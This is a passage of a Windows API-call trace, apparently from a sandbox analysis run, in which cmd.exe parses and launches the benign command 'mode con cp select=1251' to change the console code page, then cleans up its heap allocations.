lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0274.537] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.537] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.537] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0274.537] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.538] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.538] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.538] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0274.538] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.538] GetFileType (hFile=0x248) returned 0x3 [0274.538] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.538] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.538] _get_osfhandle (_FileHandle=1) returned 0x254 [0274.538] GetFileType (hFile=0x254) returned 0x3 [0274.538] _get_osfhandle (_FileHandle=1) returned 0x254 [0274.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0274.538] WriteFile (in: hFile=0x254, lpBuffer=0x7ff790a79970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x76e48ff6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesWritten=0x76e48ff6d8*=0x18, lpOverlapped=0x0) returned 1 [0274.538] GetProcessHeap () returned 0x1e06dd10000 [0274.538] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x4012) returned 0x1e06dd19100 [0274.538] GetProcessHeap () returned 0x1e06dd10000 [0274.538] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd19100) returned 1 [0274.539] _wcsicmp (_String1="mode", _String2=")") returned 68 [0274.539] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0274.539] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0274.539] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0274.539] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0274.539] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0274.539] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0274.539] GetProcessHeap () returned 0x1e06dd10000 [0274.539] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0xb0) returned 0x1e06dd18420 [0274.539] GetProcessHeap () returned 0x1e06dd10000 [0274.539] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x1a) returned 0x1e06dd18250 [0274.539] GetProcessHeap () returned 0x1e06dd10000 [0274.539] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x38) returned 0x1e06dd184e0 [0274.540] GetConsoleOutputCP () returned 0x1b5 [0275.509] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff790a7fbb0 | out: lpCPInfo=0x7ff790a7fbb0) returned 1 [0275.509] SetThreadUILanguage (LangId=0x0) returned 0x409 [0276.045] GetConsoleTitleW (in: lpConsoleTitle=0x76e48ff520, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0276.264] malloc (_Size=0xffce) returned 0x1e06de30840 [0276.264] ??_V@YAXPEAX@Z () returned 0x1e06de30840 [0276.264] malloc (_Size=0xffce) returned 0x1e06de40820 [0276.264] ??_V@YAXPEAX@Z () returned 0x1e06de40820 [0276.265] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0276.265] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0276.265] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0276.265] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0276.265] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0276.265] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0276.265] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0276.265] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0276.265] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0276.265] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0276.265] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0276.265] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0276.265] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0276.265] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0276.265] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0276.265] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0276.265] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0276.265] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0276.265] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0276.265] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0276.265] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0276.265] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0276.265] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0276.265] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0276.265] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0276.265] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0276.265] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0276.265] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0276.265] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0276.265] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0276.265] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0276.265] _wcsicmp (_String1="mode", _String2="START") returned -6 [0276.265] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0276.265] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0276.265] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0276.265] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0276.265] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0276.265] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0276.265] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0276.266] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0276.266] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0276.266] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0276.266] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0276.266] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0276.266] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0276.266] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0276.266] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0276.266] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0276.266] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0276.266] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0276.266] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0276.266] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0276.266] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0276.266] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0276.266] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0276.266] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0276.266] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0276.266] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0276.266] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0276.266] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0276.266] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0276.266] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0276.266] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0276.266] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0276.266] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0276.266] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0276.266] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0276.266] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0276.266] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0276.266] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0276.266] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0276.266] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0276.266] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0276.266] _wcsicmp (_String1="mode", _String2="START") returned -6 [0276.266] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0276.266] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0276.266] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0276.266] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0276.266] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0276.266] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0276.266] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0276.266] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0276.266] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0276.266] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0276.266] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0276.267] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0276.267] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0276.267] ??_V@YAXPEAX@Z () returned 0x1 [0276.267] GetProcessHeap () returned 0x1e06dd10000 [0276.267] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0xffde) returned 0x1e06dd19100 [0276.267] GetProcessHeap () returned 0x1e06dd10000 [0276.267] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x42) returned 0x1e06dd18520 [0276.267] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0276.267] malloc (_Size=0xffce) returned 0x1e06de40820 [0276.267] ??_V@YAXPEAX@Z () returned 0x1e06de40820 [0276.267] GetProcessHeap () returned 0x1e06dd10000 [0276.267] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x1ffac) returned 0x1e06dd290f0 [0276.268] SetErrorMode (uMode=0x0) returned 0x0 [0276.268] SetErrorMode (uMode=0x1) returned 0x0 [0276.268] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1e06dd29100, lpFilePart=0x76e48feda0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x76e48feda0*="system32") returned 0x13 [0276.268] SetErrorMode (uMode=0x0) returned 0x1 [0276.268] GetProcessHeap () returned 0x1e06dd10000 [0276.268] RtlReAllocateHeap (Heap=0x1e06dd10000, Flags=0x0, Ptr=0x1e06dd290f0, Size=0x42) returned 0x1e06dd290f0 [0276.268] GetProcessHeap () returned 0x1e06dd10000 [0276.268] RtlSizeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, MemoryPointer=0x1e06dd290f0) returned 0x42 [0276.268] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff790a7bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0276.268] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0276.268] GetProcessHeap () returned 0x1e06dd10000 [0276.268] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x1b6) returned 0x1e06dd16c30 [0276.268] GetProcessHeap () returned 0x1e06dd10000 [0276.268] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x35c) returned 0x1e06dd29150 [0276.276] GetProcessHeap () returned 0x1e06dd10000 [0276.276] RtlReAllocateHeap (Heap=0x1e06dd10000, Flags=0x0, Ptr=0x1e06dd29150, Size=0x1b8) returned 0x1e06dd29150 [0276.276] GetProcessHeap () returned 0x1e06dd10000 [0276.276] RtlSizeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, MemoryPointer=0x1e06dd29150) returned 0x1b8 [0276.276] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff790a7bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0276.276] GetProcessHeap () returned 0x1e06dd10000 [0276.276] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0xe8) returned 0x1e06dd16df0 [0276.277] GetProcessHeap () returned 0x1e06dd10000 [0276.277] RtlReAllocateHeap (Heap=0x1e06dd10000, Flags=0x0, Ptr=0x1e06dd16df0, Size=0x7e) returned 0x1e06dd16df0 [0276.277] GetProcessHeap () returned 0x1e06dd10000 [0276.277] RtlSizeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, MemoryPointer=0x1e06dd16df0) returned 0x7e [0276.277] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0276.277] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x76e48feb10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x76e48feb10) returned 0x1e06dd18570 [0276.278] GetProcessHeap () returned 0x1e06dd10000 [0276.278] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x0, Size=0x28) returned 0x1e06dd18060 [0276.278] FindClose (in: hFindFile=0x1e06dd18570 | out: hFindFile=0x1e06dd18570) returned 1 [0276.278] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x76e48feb10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x76e48feb10) returned 0x1e06dd18570 [0276.278] GetProcessHeap () returned 0x1e06dd10000 [0276.278] RtlReAllocateHeap (Heap=0x1e06dd10000, Flags=0x0, Ptr=0x1e06dd18060, Size=0x8) returned 0x1e06dd18060 [0276.278] FindClose (in: hFindFile=0x1e06dd18570 | out: hFindFile=0x1e06dd18570) returned 1 [0276.278] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0276.278] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0276.278] ??_V@YAXPEAX@Z () returned 0x1 [0276.278] GetConsoleTitleW (in: lpConsoleTitle=0x76e48ff090, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0276.552] GetProcessHeap () returned 0x1e06dd10000 [0276.552] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x21c) returned 0x1e06dd29320 [0276.552] GetConsoleTitleW (in: lpConsoleTitle=0x1e06dd29330, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0276.554] GetProcessHeap () returned 0x1e06dd10000 [0276.554] RtlReAllocateHeap (Heap=0x1e06dd10000, Flags=0x0, Ptr=0x1e06dd29320, Size=0x8c) returned 0x1e06dd29320 [0276.554] GetProcessHeap () returned 0x1e06dd10000 [0276.554] RtlSizeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, MemoryPointer=0x1e06dd29320) returned 0x8c [0276.554] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0276.556] GetProcessHeap () returned 0x1e06dd10000 [0276.556] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd29320) returned 1 [0276.556] InitializeProcThreadAttributeList (in: lpAttributeList=0x76e48fefb0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x76e48feea0 | out: lpAttributeList=0x76e48fefb0, lpSize=0x76e48feea0) returned 1 [0276.556] UpdateProcThreadAttribute (in: lpAttributeList=0x76e48fefb0, dwFlags=0x0, Attribute=0x60001, lpValue=0x76e48fee8c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x76e48fefb0, lpPreviousValue=0x0) returned 1 [0276.556] GetStartupInfoW (in: lpStartupInfo=0x76e48fef40 | out: lpStartupInfo=0x76e48fef40*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0276.556] GetProcessHeap () returned 0x1e06dd10000 [0276.556] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x20) returned 0x1e06dd18570 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0276.556] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0276.557] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0276.557] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0276.557] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0276.557] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0276.557] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0276.557] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0276.557] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0276.557] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0276.557] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0276.557] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0276.557] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0276.557] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0276.557] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0276.557] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0276.557] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0276.557] GetProcessHeap () returned 0x1e06dd10000 [0276.557] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd18570) returned 1 [0276.557] GetProcessHeap () returned 0x1e06dd10000 [0276.557] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x12) returned 0x1e06dd18570 [0276.557] _get_osfhandle (_FileHandle=1) returned 0x254 [0276.557] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0276.557] _get_osfhandle (_FileHandle=0) returned 0x248 [0276.557] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0276.557] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x76e48feed0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x76e48feea8 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x76e48feea8*(hProcess=0x98, hThread=0x94, dwProcessId=0xef8, dwThreadId=0xefc)) returned 1 [0277.286] CloseHandle (hObject=0x94) returned 1 [0277.286] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0277.286] GetProcessHeap () returned 0x1e06dd10000 [0277.286] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd185f0) returned 1 [0277.286] GetEnvironmentStringsW () returned 0x1e06dd18590* [0277.286] GetProcessHeap () returned 0x1e06dd10000 [0277.286] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0xafe) returned 0x1e06dd295c0 [0277.286] FreeEnvironmentStringsA (penv="=") returned 1 [0277.286] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7fffc5a80000 [0277.286] GetProcAddress (hModule=0x7fffc5a80000, lpProcName="NtQueryInformationProcess") returned 0x7fffc5b256b0 [0277.286] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x76e48fe3a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x76e48fe3a8, ReturnLength=0x0) returned 0x0 [0277.286] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x94e569d000, lpBuffer=0x76e48fe3e0, nSize=0x7a0, lpNumberOfBytesRead=0x76e48fe3a0 | out: lpBuffer=0x76e48fe3e0*, lpNumberOfBytesRead=0x76e48fe3a0*=0x7a0) returned 1 [0277.286] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0280.036] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0x76e48fee28 | out: lpExitCode=0x76e48fee28*=0x0) returned 1 [0280.036] CloseHandle (hObject=0x98) returned 1 [0280.036] _vsnwprintf (in: _Buffer=0x76e48feff8, _BufferCount=0x13, _Format="%08X", _ArgList=0x76e48fee38 | out: _Buffer="00000000") returned 8 [0280.036] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0280.036] GetProcessHeap () returned 0x1e06dd10000 [0280.036] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd295c0) returned 1 [0280.037] GetEnvironmentStringsW () returned 0x1e06dd295c0* [0280.037] GetProcessHeap () returned 0x1e06dd10000 [0280.037] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0xb24) returned 0x1e06dd2a0f0 [0280.037] FreeEnvironmentStringsA (penv="=") returned 1 [0280.038] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0280.038] GetProcessHeap () returned 0x1e06dd10000 [0280.038] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd2a0f0) returned 1 [0280.038] GetEnvironmentStringsW () returned 0x1e06dd295c0* [0280.038] GetProcessHeap () returned 0x1e06dd10000 [0280.038] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0xb24) returned 0x1e06dd2a0f0 [0280.038] FreeEnvironmentStringsA (penv="=") returned 1 [0280.038] GetProcessHeap () returned 0x1e06dd10000 [0280.038] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd18570) returned 1 [0280.038] DeleteProcThreadAttributeList (in: lpAttributeList=0x76e48fefb0 | out: lpAttributeList=0x76e48fefb0) [0280.038] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0280.040] ??_V@YAXPEAX@Z () returned 0x1 [0280.040] _get_osfhandle (_FileHandle=1) returned 0x254 [0280.040] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0280.040] _get_osfhandle (_FileHandle=1) returned 0x254 [0280.040] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff790a7fc08 | out: lpMode=0x7ff790a7fc08) returned 0 [0280.040] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.040] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff790a7fc0c | out: lpMode=0x7ff790a7fc0c) returned 0 [0280.040] GetConsoleOutputCP () returned 0x4e3 [0280.041] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff790a7fbb0 | out: lpCPInfo=0x7ff790a7fbb0) returned 1 [0280.041] SetThreadUILanguage (LangId=0x0) returned 0x409 [0280.042] GetProcessHeap () returned 0x1e06dd10000 [0280.042] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd16df0) returned 1 [0280.042] GetProcessHeap () returned 0x1e06dd10000 [0280.042] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd29150) returned 1 [0280.042] GetProcessHeap () returned 0x1e06dd10000 [0280.042] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd16c30) returned 1 [0280.042] GetProcessHeap () returned 0x1e06dd10000 [0280.042] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd290f0) returned 1 [0280.042] GetProcessHeap () returned 0x1e06dd10000 [0280.042] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd18520) returned 1 [0280.042] GetProcessHeap () returned 0x1e06dd10000 [0280.042] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, 